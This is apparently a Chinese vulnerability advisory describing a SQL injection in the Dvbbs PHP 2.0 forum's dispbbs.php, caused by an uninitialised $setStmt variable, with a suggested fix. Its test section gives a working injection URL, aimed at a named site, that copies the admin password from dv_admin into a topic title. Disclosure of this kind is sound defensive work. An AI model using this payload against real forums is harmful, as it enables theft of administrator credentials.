受影响系统:
动网bbs' target='_blank'>论坛 Dvbbs php 2.0++
描述:
DVBBS是一款Aspsky.Net开发和维护的开放源码ASP Web论坛程序。
在DVBBS的dispbbs.php文件中:
if( $board_settings[55] != 0 && $TopicInfo['locktopic'] == 0 && dateDiff('d',$TopicInfo['dateandtime'],TIME_NOW) > $board_settings[55] ){ //第85行
$TopicInfo['locktopic'] = 1;
$setStmt = ',locktopic=1';
}
$db->query("UPDATE {$dv}topic SET hits=(CASE WHEN hits IS NULL THEN 1 ELSE hits+1 END) {$setStmt} WHERE topicid={$AnnounceID}");
当if语句不成立的时候,变量$setStmt没有被赋值,且变量$setStmt没有初始化,导致sql注入漏洞。
<*来源:SEBUG
测试方法:
http://www.xiaoweio.cn/dispbbs.php?boardid=2&id=1&page=1&setStmt=,title=(select%20password%20from%20dv_admin)
建议:
临时解决方法:
* 初始化变量$setStmt
厂商补丁:
动网论坛
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dvbbs.net/